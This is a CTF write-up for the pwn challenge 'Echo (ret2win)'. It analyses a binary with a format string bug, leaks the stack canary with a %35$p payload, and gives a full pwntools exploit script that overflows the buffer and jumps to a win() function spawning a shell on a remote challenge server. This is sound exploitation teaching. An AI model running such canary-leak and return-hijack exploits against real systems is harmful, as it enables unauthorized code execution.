Echo (ret2win)

Pwn · MUST CTF: 2023 · unknown

Problem

Welcome to my first write-up for a pwn challenge. I hope you find it enjoyable!

👓 Function Analysis with Ghidra

Main Function

undefined8 main(void)
{
  long in_FS_OFFSET;
  char local_58 [72];
  long local_10;

  local_10 = (long)(in_FS_OFFSET + 0x28);
  puts("Welcome to the echo program!");
  puts("Enter some text: ");
  FUN_004010e0(local_58);
  printf(local_58);
  puts("");
  puts("Do you have any reviews?");
  FUN_004010e0(local_58);
  puts("Thanks for using the echo program!");
  if (local_10 != (long)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Win Function

void win(void)

{
  long lVar1;
  long in_FS_OFFSET;

  lVar1 = (long)(in_FS_OFFSET + 0x28);
  system("/bin/sh");
  if (lVar1 != (long)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

🛡️ Security Protections (checksec)

🛑 Observations

  • Buffer size = 72 bytes (char local_58[72])

  • Stack canary is in use → we cannot overwrite the return address directly without bypassing the canary.

  • First input is used in printf(local_58); → this is a format string vulnerability

  • Second input is again written to the same buffer

🧪 Exploitation Plan

We can't overflow due to the stack canary. But we can leak the canary via the format string vulnerability!

Step 1: Leak Stack Canary

Use the first input to leak stack values:

You'll see a value like 0xxxxxxxxxxxxxxx00 — that’s likely the stack canary. It often starts with 0x00 or ends with double zeros due to how it's structured for detection of overflows. In our case, the canary is 0x29ddc79a305ac100

Next, let's calculate the offset of the canary. You can simply count the format string arguments starting from 0x1 until you reach the canary value (e.g., 0x29ddc79a305ac100), separating each with a dot (.) for easier identification. Finally, I have found out that the offset of canary is 35

Step 2: Build Payload

To craft our exploit, we need to understand the exact layout of the stack and construct the payload accordingly:

  • Buffer: 72 bytes — fills up to the canary

  • Canary: 8 bytes — must be preserved exactly

  • Saved RBP: 8 bytes — can be any value

  • Return address (ret): 8 bytes — address of a ret instruction for stack alignment

  • RIP: 8 bytes — overwrite this with the address of the win() function

📌 Note:

  • The return address used after the canary must land correctly on a ret instruction before jumping to win() to maintain stack alignment (especially important on some systems with libc protection like __libc_csu_init).

  • It's better to return into the win() function, which ends with a ret, rather than trying to return cleanly back to main() or using return 0, as the goal is to hijack execution — not exit gracefully.

🖼️ The included screenshots show how the necessary addresses were found using Ghidra, including:

  • Address of the win() function

  • Address of a ret instruction (if needed for alignment)

Step 3: Exploit Script

from pwn import *

context.binary = elf = ELF("./echo")
p = remote("139.162.5.230", 10323)

# Step 1: Leak stack canary
p.recvuntil(b"Enter some text: \n")
p.sendline(b'%35$p')  # Leak the canary at the 35th argument (adjust if needed)
canary = int(p.recvline().strip(), 16)
log.info(f'Canary: {hex(canary)}')

# Step 2: Build payload
overwrite = b'A' * 72  # Buffer size before canary
payload = overwrite
payload += p64(canary)  # Add leaked canary to bypass stack protection
payload += b'A' * 8     # Overwrite saved RBP (usually 8 bytes)
ret = p64(0x0000000000401289)  # ret gadget for stack alignment (avoid movaps error)
win = p64(0x0000000000401244)  # win function address

payload += ret
payload += win

# Step 3: Send payload after prompt
p.recvuntil(b"?\n")
p.sendline(payload)

# Step 4: Get interactive shell / output
p.interactive()

✅ Exploit Success

Once the win() function is executed, it calls system("/bin/sh"), giving you a shell.

Last updated